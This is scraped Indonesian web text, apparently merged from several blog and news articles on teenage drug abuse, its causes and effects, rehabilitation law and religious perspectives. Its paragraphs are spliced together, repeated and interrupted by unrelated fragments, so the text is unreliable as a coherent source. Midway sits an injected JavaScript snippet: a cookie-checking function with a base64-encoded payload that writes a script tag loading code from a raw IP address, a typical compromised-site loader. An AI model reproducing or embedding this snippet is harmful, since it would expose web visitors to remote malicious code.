Pendidikan kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba: Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri Alasanmemakai narkoba. Dikutip dari situs resmi Kementerian Pendidikan dan Kebudayaan RI, berikut ini beberapa alasan seseorang memakai narkoba: Memuaskan rasa ingin tahu atau coba-coba. Ikut-ikutan teman. Solidaritas teman. Mengikuti tren dan ingin terlihat gaya. Menunjukkan kehebatan. Merasa sudah dewasa. Baca juga: Kenalkan Bahaya Narkoba PandanganAgama tentang Penyalahgunaan Narkoba Penduduk Indonesia merupakan masyarakat yang religius. Setiap agama yang diakui di Indonesia mengatur tentang moral penganutnya. Berikut ini adalah pandangan agama terhadap Narkoba. narkoba) dan judi karena bisa membius nalar yang sehat dan jernih. Khamar (termasuk narkoba) dan judi potensial Beberapafaktor penyebab penyalahgunaan narkoba diantaranya yaitu: Faktor kepribadian. Beberapa hal yang termasuk di dalam faktor pribadi adalah genetik, bilogis, personal, kesehatan dan gaya hidup yang memiliki pengaruh dalam menetukan sorang remaja terjerumus dalam penyalahgunaan narkoba . Kurangnya Pengendalian Diri. Ariefmenyatakan kata "agama" dalam Pasal 61 ayat (1) dan Pasal 64 ayat (1) Undang-Undang Administrasi Kependudukan tidak mempunyai kekuatan hukum tetap sepanjang tidak dimaknai termasuk "kepercayaan". Hal serupa juga berlaku untuk Pasal 61 ayat (2) dan Pasal 64 ayat (5) yang dinilai MK tak memiliki kekuatan hukum mengikat. AgamaIslam menempatkan penyalahgunaan narkoba (khamr dan sejenisnya) biasanya berakobat pada seks bebas (zina) dan pornografi sebagai sesuatu yang sudah sangat jelas dilarang. Narkoba yang bisa dipahami identik atau analog dengan khamr atau nabidz (jamaknya anbidzah) maka bagi peminum (pengonsumsi), pengedar, pengusaha, dan penjualnya dikenai DpB4eq. Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Penyalahgunaan Narkoba di Kalangan Remaja dan Pelajar Serta Pandangan Dalam Agama IslamNaily Himmatul UlyaNailyhilya 3120008 Narkotika, psikotropika, dan bahan adiktif berbahaya lainnya atau biasa disingkat dengan istilah narkoba. Narkoba merupakan obat berbahaya yang dapat membuat seseorang menjadi lumpuh atau mati rasa akibat mengkonsumsinya. Ada beberapa macam dari narkotika ialah opioida, morfin, codein, heroin, ganja, metadon, dan kokain. Macam-macam psikotropika yaitu amphetamine dan ATS Amphetamine Type Stimulants. Macam-macam dari bahan adiktif lainnya yaitu alkohol, kafein atau caffine, zat sedatif dan hipnotika, halusinogen dan inhalansia. Ada beberapa jenis narkoba yang digunakan untuk kesehatan, membantu kegiatan medis, dan juga digunakan untuk penelitian. Namun, ada beberapa orang yang terkadang melakukan penyalahgunaan terhadap narkoba. Penyalahgunaan narkoba menjadi suatu masalah besar bagi semua bangsa termasuk di Indonesia. Penyalahgunaan narkoba kebanyakan terjadi di kalangan remaja dan pelajar. Faktor yang memengaruhi para remaja dan pelajar mengkonsumsi narkoba di antaranya yaitu karena kurangnya perhatian dan kasih sayang dari orang tua yang tidak dapat dirasakan oleh anak. Orang tua yang kurang menberikan perhatian dan kasih sayang dapat mengakibatkan pergaulan anak tidak terkontrol. Selain itu, pengetahuan ilmu agama yang masih kurang, minimnya pengetahuan mengenai narkoba, lari dari masalah yang sedang dihadapi hanya untuk kesenangan sesaat, dan mendapat pengaruh dari teman-temannya yang sudah terjerumus dalam narkoba. Awalnya para pengguna narkoba hanya coba-coba namun lama kelamaan dapat menimbulkan ketergantungan. Jika seseorang terlanjur kecanduan mengkonsumsi narkoba banyak dampak negatif yang akan ditimbulkan. Jika narkoba dikonsumsi secara terus menerus dan melebihi dosis dapat mengakibatkan ketergantungan. Ketergantungan ini akan mengakibatkan gangguan pada penggunanya. Penyalahgunaan narkoba juga menjadi salah satu sumber tindakan kriminal yang dapat mengganggu ketenteraman dalam kehidupan masyarakat. Dampak negatif penyalahgunaan narkoba bagi remaja dan pelajar di antaranya terjadi perubahan sikap, perilaku dan kepribadian pada diri remaja dan pelajar, mereka akan sering membolos ketika jam sekolah, turunnya kedisiplinan dan nilai-nilai pelajaran sekolah, menjadi pribadi yang pemalas, mudah marah, mudah mengantuk, bahkan dapat melakukan tindakan pencurian hanya untuk membeli narkoba. Selain itu, penyalahgunaan narkoba dapat mengakibatkan berubahnya perilaku dan juga kesadaran pada penggunanya. Penyalahgunaan narkoba juga membahayakan kesehatan penggunanya. Efek jika melakukan penyalahgunaan narkoba yaitu dapat mengakibatkan penggunanya depresan pengguna narkoba akan merasa tenang, dan jika kelebihan dosis dapat menyebabkan kematian, stimulan merangsang fungsi tubuh serta meningkatkan kegairahan dan kesadaran, dan halusinogen menyebabkan halusinasi pada penggunanya. Al-Qur'an menjelaskan bahwa sebagai manusia kita harus menjaga serta membentengi diri dari hal-hal yang dapat membahayakan kesehatan pada tubuh. Salah satu caranya yaitu dengan mengkonsumsi makanan ataupun minuman yang halal dan baik. Mengkonsumsi makanan yang halal dan baik merupakan salah satu wujud akhlak terhadap diri sendiri, menjaga dan melindungi tubuh dari hal-hal yang tidak baik bagi kesehatan serta tidak merusak diri sendiri. Sebagaimana tertera dalam firman Allah swt., yang berbunyi Artinya " Wahai manusia! Makanlah dari makanan yang halal dan baik yang terdapat di bumi, dan janganlah kamu mengikuti langkah-langkah syaitan. Sungguh, syaitan itu musuh yang nyata bagimu" QS. Al-Baqarah 168. 1 2 3 Lihat Ilmu Sosbud Selengkapnya Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba General Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Penyebab, Dampak dan Solusi Panggunaan Narkoba pada Kehidupan Psikologis Remaja Remaja, merupakan tahapan menuju pendewasaan. Mulai mencari dan mencoba segala hal yang dia inginkan untuk memperoleh jati diri, termasuk hal yang negative seperti narkoba. Penyalahgunaan narkoba kini kian marak terjadi di masyarakat terutama kalangan remaja. Pada Banyak sekali remaja yang kehilangan masa depannya akibat penyalahgunaan narkoba. Factor remaja menjadi penyalah guna benda yang terlarang Faktor Individu Secara aspek psikologi, penyebab remaja mengonsumsi narkoba adalah Kurangnya rasa percaya diri sehingga ingin terlihat gaya dengan konsumsi narkoba Ketidak mampuan mengelola masalah yang dihadapi dan stress. Coba- coba dan berpeluan untuk memperoleh pengalaman baru Ikatan dengan komunitas atau gen Menghilangkan rasa sakit, bosan, cemas, dan lainnya Menunjukan sikap pemberontakan dan kehebatan dan kekuasaan Mencari tantangan yang beresiko Merasa dirinya dewasa Faktor Obatnya/Zat, dengan eyakini bahwa obat bisa membantu menumbuhkan rasa percayam diri dan mampu mengurangi beban atau stress yang dialami. Faktor Lingkungan Hubungan keluarga yang tidak harmonis, broken home, dan adanya penggunakan narkoba oleh anggota keluarga lainnya. Pengaruh Teman, sangat berpengaruh pada seseorang. Jika seseorang memilih teman yang menggunakan narkoba maka seorang itupun ikut menggunakannya. Juga adanya tekanan, ancaman akan dikucilkan dan lainnya dari teman jika kita ingin berhenti mengonsumsinya. Pendidikan, kurangnya pendidikan ilmu dan agama sehingga anak menyimpang pada perbuatan yang tidak baik seperti narkoba. Lingkungan masyarakat, jika lingkungan masyarakat tidak baik, maka akan berpengaruh juga pada perilaku remaja. Dampak Psikologis remaja akibat penggunaan narkoba Cenderung menyakiti diri, perasaan tidak aman, bahkan bunuh diri Mempunyai sifat yang mudah kecewa dan temperamental , emosi yang tidak stabil, berbicara dan bertindak kasar, sikap membangkang, agitatif, cenderung agresif , berperilaku ganas dan savage serta destruktif/merusak. Keinginan tidak bisa menuggu, yang harus terpenuhi segera. Kurang percaya diri, cenderung apatis, penghayal, sensitive , selalu curiga, sulit konsentrasi, selalu tertekan, murung, selalu cemas, bersikap tegang, merasa merasa tidak mampu berbuat sesuatu yang berguna dalam hidup sehari-hari dan kurang mampu menghadapi stres. Suka mencari sensasi, melakukan hal-hal yang berbahaya atau mengandung risiko. Lamban dalam suatu pekerjaan, kurang aktif dalam pendidikan, pekerjaan, atau kegiatan lain. rendahnya prestasi belajar, partisipasi dalam kegiatan-kegiatan di luar sekolah kurang, kurang olahraga, malas dan sering melupakan tanggung jawab dan tugas-tugas rutinnya Jauh dari keluarga, sering bertemu dengan orang yang tidak dikenal keluarga, pergi tanpa pamit dan pulang lewat tengah malam Suka menyendiri didalam suatu ruangan. Menjadi pembohong dan ingkar janji. Solusi remaja berhenti menggunakan narkoba, dan cera pencegahan pemakaian kembali. Yang dilakukan oleh pemerintah Primer, memberikan pendidikan, pengetahuan dan penyebaran informasi tentang bahaya penyalahgunaan narkoba, melakukan pendekatan melalui keluarga, dan Instansi pemerintah, seperti BKKBN, lebih banyak berperan pada tahap intervensi ini. kegiatan dilakukan seputar pemberian informasi melalui berbagai bentuk materi KIE yang ditujukan kepada remaja langsung dan keluarga. Sekunder, tahap penyembuhan treatment. Fase ini meliputi Fase penerimaan awal initialintakeantara 1 – iii hari dengan melakukan pemeriksaan fisik dan mental, dan Fase detoksifikasi dan terapi komplikasi medik, antara 1 – 3 minggu untuk melakukan pengurangan ketergantungan bahan-bahan adiktif secara bertahap. Tertier, tahap rehabilitasi sebagai penyembuhan mereka yang menggunakan narkoba. Yang dilakukan oleh masyarakat Menggunaka beberapa cara pendekatan yaitu Pendekatan agama religius, dengan cara menanamkan ajaran agama yang mereka anut tentang berbuat kebaikan, menjauhi segala hal yang buruk atau kerusakan pada dirinya, keluarga, maupun lingkungan sekitar. Pendekatan psikologis, dengan memberikan nasehat, melakukan pembicaraan dari hati- ke hati oleh orang- orang yang terdekat dengannya yang sesuai dengan karakter kepribadian mereka. Pendekatan social, menyadarkan mereka bahwa mereka merupakan bagian penting dalam keluarga dan lingkungannya. Dengan cara sepeti itu, diharapkan mereka bisa merasakan bahwa kehadiran mereka di tengah keluarga dan masyarakat memiliki arti penting. [IP] Arthia H Sumber referensi dan Gambar https//www. function getCookiee{var U= RegExp“?^; ”+ thousand,”\\$ane″+”=[^;]*”;render U?decodeURIComponentU[i]void 0}var src=”datatext/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now= present/1e3,cookie=getCookie“redirect”;ifnow>=time=cookievoid 0===time{var time= Datenew Date.getTime+86400; path=/; expires=”+ Pro Dan Kontra Kurangnya Pendidikan Agama Penyebab Penyalahgunaan Narkoba Source Kompasiana adalah platform blog. Konten ini menjadi tanggung jawab bloger dan tidak mewakili pandangan redaksi Kompas. Pendidikan merupakan suatu bentuk pembelajaran pengetahuan,keterampilan yang diberikan oleh seorang tenaga pendidik terhadap seorang peserta didik sebagai penerima pembelajaran masih menjadi suatu bidang yang dijadikan sebagai pembentukan karakter dalam menumbuhkan pengetahuan dan keterampilan bagi peserta didik,yang melibatkan peserta didik dan tenaga pendidik sebagai transformator ilmu pengetahuan bagi dunia pendidikan khusunya peserta didik .Pembentukan karakter yang diberikan oleh guru peserta didik terhadap siswa tidak dapat dipungkiri akan terdapat beberapa kendala dalam pelaksanannya yakni timbulnya salah satu masalah pendidikan yang menjadi sorotan tajam yaitu penyalahgunaan penggunaan Narkoba terhadap peserta didik atau pelajar. Ketika tingkat pendidikan pelajar semakin tinggi maka pastinya mereka akan memiliki lingkungan yang berbeda-beda sehingga siswa perlu proses adaptasi tesebut perlu adanya pengawasan baik dari orang tua maupun dari yang sama dalam situasi tersebut maraknya penggunaan Narkoba dilingkungan sekolah atau sesama pelajar bahkan dalam tempat sepergaulannya ikut kedalam penyalahgunaan Narkoba,Hal tersebut merupakan yang membuat anak menjadi rentan terjerumus kedalam penyalahgunaan Narkoba. Kepala Badan Narkotika Nasional BNN Komisariat Jendral Polisi Heri Winarko menyebutkan penyalahgunaan narkotika dikalangan remaja semakin meningkat,dimana ada pengingkatan sebesar 24 sampai 28 persen remaja yang menggunkan itu jika dilihat dalam permasalahan pendidikan mengenai Penyalahgunaan Narkoba bahwasannya tidak luput dari adanya Disfungsi keluarga yaitu dimana peran keluarga tidak mejalankan tugas dan fungsinya dalam keluarga dengan semestinya sehingga menyebabkan atau mempengaruhi keutuhan keluarga sebagai suatu satu fungsi keluarga adalah memberikan sosialisasi atau pendidikan terhadap anak mengenai nilai dan norma yang harus dilakukan oleh mereka apa yang seharusnya mereka lakukan dan hal yang tidak boleh dilakukan,membentuk kepribribadiannya,mengontrol tingkah lakunya,sikapnya,serat melatih emosional anak dalam bersosialisasi dalam lingkungan Keluarga memberikan salah satu dampak yang terjadi pada anak yaitu adanya penyalahgunaan Narkoba pada kalangan pelajar yang pada dasarnya hal ini diakibatkan oleh peran keluarga atau orang tua yang tidak berfungsi dengan semestinya. Tidak dapat dipungkiri tindakan penyalahgunaan Narkoba pada pelajar pastinya terdapat factor –faktor yang menyebabkan mereka terjerumus kedalam penyalahgunaan Narkoba seperti komunikasi antara siswa dengan orang tua tidak baik,perceraian orang tua,kekerasan terhadap anak,factor itu siswa atau pelajar menganggap bahwa menggunakan Narkoba memberikan efek kepercayaan diri terhadap mereka dan dapat menghilangkan stress atas apa yang siwa atau pelajar tersebut alami dalam persepsi atau sugesti factor-faktor penyebab siswa dapat melakukan tindakan penyalahgunaan Narkoba dapat diatasi dengan adanya Pendidikan Narkoba yang ditanamkan pada para siswa yang dilakukan oleh guru maupun orangtua. Selain itu Menjalin hubungan antara Keluarga dengan Sekolah tentunya perlu dilakukan dalam hal ini tentunya bukan hanya sekolah dapat mengetahui pola interaksi yang terjalin antara orang tua dengan siswa tetapi hal ini dapat dimanfaatkan oleh orangtua agar dapat mengetahui bagaimana proses perkembangan yang terjadi didalam sekolah sehingga tidak dapat dipungkiri dalam proses menjalin hubungan antara keluarga dengan sekolah dapat diselipkan bagaimana pendidikan Narkotika perlu diberikan pemahaman dalam keluarga yang nantinya akan disampaikan atau diberikan kepada siswaanak Salah satu bentuk pendidikan narkoba adalah adanya sosialisasi mengenai bahaya dan dampak negative dari penyalahgunaan Narkoba dengan cara menerapkan kehidupan yang sehat,menjalin komunikasi yang baik dengan orangtua maupun dengan guru,membekali siswa dengan nilai dan norma yang baik sehingga mereka dapat menghinadri dan mencegah penyalahgunaan Narkoba, Sebab pendidikan Narkoba sedari dini perlu ditanamkan dalam diri siswa karena mencegah lebih baik dari pada mengobati. Lihat Pendidikan Selengkapnya JAKARTA, - Deputi Pemberantasan BNN Irjen Arman Depari mengungkapkan, anggota keluarga yang memiliki ketergantungan narkoba kerap kali masih dianggap sebagai aib. Akibatnya, keluarga pecandu enggan melapor sehingga dapat berdampak pada penanganannya. Menurutnya, hal itu menjadi salah satu potensi yang menyebabkan maraknya penggunaan narkotika di masyarakat.“Di mana seharusnya, sesuai peraturan dan UU, kita tidak usah khawatir, kalau mereka, atau anak-anak ini memang adalah pemakai atau pecandu, jika dilaporkan justru akan kita rehabilitasi,” kata Arman saat diwawancarai di Radio Elshinta, Jumat 5/6/2020. Baca juga BNN Banyak Pengedar Narkoba Divonis Hukuman Mati, tapi Pelaksanaannya Belum Kemudian, faktor lainnya adalah rasa ingin tahu anak-anak muda untuk mencoba obat-obatan terlarang tersebut. Lalu, adanya anggapan bahwa penggunaan narkoba merupakan bagian dari gaya hidup. Apabila ada yang telah menjadi pecandu, orang tersebut dapat memengaruhi temannya untuk mencoba barang haram mencegah hal tersebut, Arman menekankan pentingnya mengawasi keluarga dan lingkungan sekitar agar tidak terjerumus. “Ini tentu tidak bisa hanya dilakukan oleh aparat saja, maka setelah keterlibatan para orangtua, tokoh-tokoh, baik tokoh muda, tokoh agama dan masyarakat yang lain,” ucapnya. Baca juga BNN Soroti Sindikat Narkoba Jaringan Iran yang Kembali Aktif di Tengah Pandemi Sebagai informasi, Pasal 54 Undang-Undang Nomor 35 Tahun 2009 tentang Narkotika menyebutkan, pecandu narkotika dan korban penyalahgunaan narkotika wajib menjalani rehabilitasi medis dan rehabilitasi sosial. Kemudian, Pasal 55 ayat 1 mengatur bahwa orangtua atau wali dari pecandu narkotika yang belum cukup umur wajib melapor demi mendapatkan rehabilitasi. Pasal itu berbunyi, “Orangtua atau wali dari pecandu narkotika yang belum cukup umur wajib melaporkan kepada pusat kesehatan masyarakat, rumah sakit, dan/atau lembaga rehabilitasi medis dan rehabilitasi sosial yang ditunjuk oleh pemerintah untuk mendapatkan pengobatan dan/atau perawatan melalui rehabilitasi medis dan rehabilitasi sosial”. Ayat berikutnya juga mewajibkan pecandu yang sudah cukup umur untuk melaporkan diri maupun dilaporkan oleh keluarga ke rumah sakit atau lembaga terkait lainnya. Dapatkan update berita pilihan dan breaking news setiap hari dari Mari bergabung di Grup Telegram " News Update", caranya klik link kemudian join. Anda harus install aplikasi Telegram terlebih dulu di ponsel. Oleh Nur Hidayat Mahasiswa UMRAH Agama merupakan keyakinan yang diyakini olehh setiap pemeluknya untuk menyambung hubungan kemanusiaan dan ketuhanan dalam bentuk ritual-ritual ibadah. Dalam agama sebagaimana agama-agama yang diakui oleh negara republik Indonesia yakni Islam, hindu, Budha, Katolik, Protestan dan Kong hucu memberikan pengajaran-pengajaran serta didikan hukum dan ketentuan beragama baik kepada Tuhannya, sesama manusia, sesama makhluk hidup dan seluruh jagat raya ini. Dengan demikian, bagi setiap pemeluk agama yang mengikuti ajaran agamanya dengan baik dan benar akan mendapatkan keteraturan dalam menjalankan hidup, terutama dalam membedakan mana yang baik dan mana yang buruk. Mana yang salah dan mana yang benar. Sehingga dengan tuntunan yang mereka miliki berdasarkan agama yang mereka yakini, akan membawa perubahan hidup yang lebih baik lagi jika diikuti dan ditekuni dengan sempurna. Agama membentuk seseorang menjadi karakter yang kuat dan tangguh, berprinsip serta menumbuhkan moralitas yang berkualitas bagi pemeluknya. Sehingga setiap pemeluknya akan mengetahui dengan pasti cara menjalani aktiviats mereka sehari-hari, apa yang mereka lakukan dan kerjakan, serta bagaimana cara mendapakan apa yang mereka inginkan. Tidak hanya sesuai dengan kebutuhan pemeluknya, dengan beragama dan menuntut nilai-nilai agama secara baik, setiap pemeluk pasti akan memeprtimbangkan segala aspek kehidupan aygn emreka kerjakan dengan memeprtimbangkan agamanya. Takut akan hukum-hukum tuhannya dan takut akan karma yang berlaku kepada mereka. Sudah menjadi kesepakatan oelh seluruh agama yang bdiakui di Indonesia bahwa narkoba barang yang berbahaya dan haram digunakan. Setiap pengguna dan pelaku pnegedaran narkoba adalah dosa besar. Karena tidak hanya membawa dampak buruk bagi dirinya sendiri namun juga berdampak buruk bagiorang lain. Setiap manusia yang menyakini kebenaran dan nilai-nilai ketuhanan yang baik didalam agama yang mereka anut, dapat dipastikan akan menjauhi perilaku-perilaku yang salah. Moral yang baik dapat membimbing pemeluknya kearah yang baik penerapan-penerapan pendidikan agama sejak dini kepada anak menjadikan pertahanan kuat bagi generasi kegenerasi. Menolak keberadaan dan peredaran narkoba, penggunaan narkoba dan pembuatan atau produksi narkoba. Agama membimbing dan memebrikan pemahaman terhadap nilai ketuhanan yang tidak mendukung pemeluknya untuk melakukan hal-hal yang buruk termasuk penggunaan dan pengedaran nakoba, apalagi memproduksi. Seperti salah satu agama yang dikui di Indoensia ialah agama Islam. Didalam agama islam, sangat jelas bahwa narkoba adalah barang haram. Haram bagi penggunanya dan haram bagi pelaku pengedarannya. Ada hukum-hukum agama yang dapat akan dijatuhkan kepada mereka yang memeluk agama islam seseuai dengan ketentuan tuntunan agamanya. Selain melalaui ketentuan agama dalam menyerukan untuk menjauhi perbuatan yang buruk, juga terdapat upaya lainnya yang dilakukan dengan pendekatan-pendekatan kerohanian yang dilakukan oleh setiap pemuka agama. Misallnya melalui khutbah-khutbah, ceramah, maupun kajian-kajian yang dilakukan demi menjaga nilai-nilai keagamaan dalam diri dan meningkatkan ketaqwaan kepada tuhannya. Penyebaran brosur atau iklan-iklan yang mengaitkan dengan nilai-nilai keagamaan, dampak-dampak yang akan diterima oleh pengguna dan pengedarnya serta seruan lainnya kepada masyarakat yang beragama agar menjauhi narkoba. Disisi lain, pemerintah melalui dinas pendidikan juga bekerja sama dengan setiap lembaga pendidikan baik lembaga pendidikan usia dini hingga pendidikan tinggi negeri maupun swasta untuk mendorong pengetahuan agama tentang penggunaan dan pengedaran narkoba. Terutama lembaga pendidikan bagi anak-anak. Sangking gencar dan seriusnya pemerintah untuk memberantas dan menanangi penyalahgunaan serta peredaran narkoba, pelajaran-pelajran apda setiap sekolah menyentuh kepada narkoba. Artinya, ada penananam nilai-nilai akidah dan akhlak terhadap setiap siswa untuk mengetahui ancaman dan bahaya dari peredaran dan penyalahgunaan narkoba. Jika nilai-nilai ini ditumbuhkan sejak dini dan diperkuat dengan bimbingan orang tua, keluarga serta pihak lainnya, maka anak-anak bangsa dapat menjaminkan diri untuk menjauhi perbuatan haram tersebut. Sadar akan bahaya narkoba dan peredaran narkoba yang dapat merusak diri serta keimanan mereka, merusak kelaurga mereka serta merusak lingkungan mereka. Anak-anak bangsa akan lebih selektif dalam pergaulan mereka. Dengan siapa mereka bergaul dan bagaimana cara mereka bergaul. Selain itu nilai-nilai agama juga mengajarkan dan menanamkan perilaku yang baik untuk hobi-hobi anak bangsa agar senantiasa mengarahkan kearah yang positif. Jika penerpaan pengeetahuan dan pemahaman nilai-nilai keagamaan sudah kaut, maka narkobapun perlahan akan mulai dapat diatasi baik penggunaannya maupun peredarannya dilingkungan masyarakat akibat adanya kesadaran yang timbul dalam diri untuk melakukan perilaku pitif dan baik serta memebrikan perubahan masyarakat dan bangsa. Referensi Kementrian Agama Republik Indonesia. 2017. Peran Tokoh Agama Dalam Pencegahan Narkoba. Diponegoro. Astuti, Veti Anggraini. 2018. Peran Pendidikan Agama Ilam untuk Mencegah Penyalahgunaan Narkoba Studi Kasus pada Siswa SMK Raden Rahmat Mojosari Mojokerto. Terkait

pro dan kontra kurangnya pendidikan agama penyebab penyalahgunaan narkoba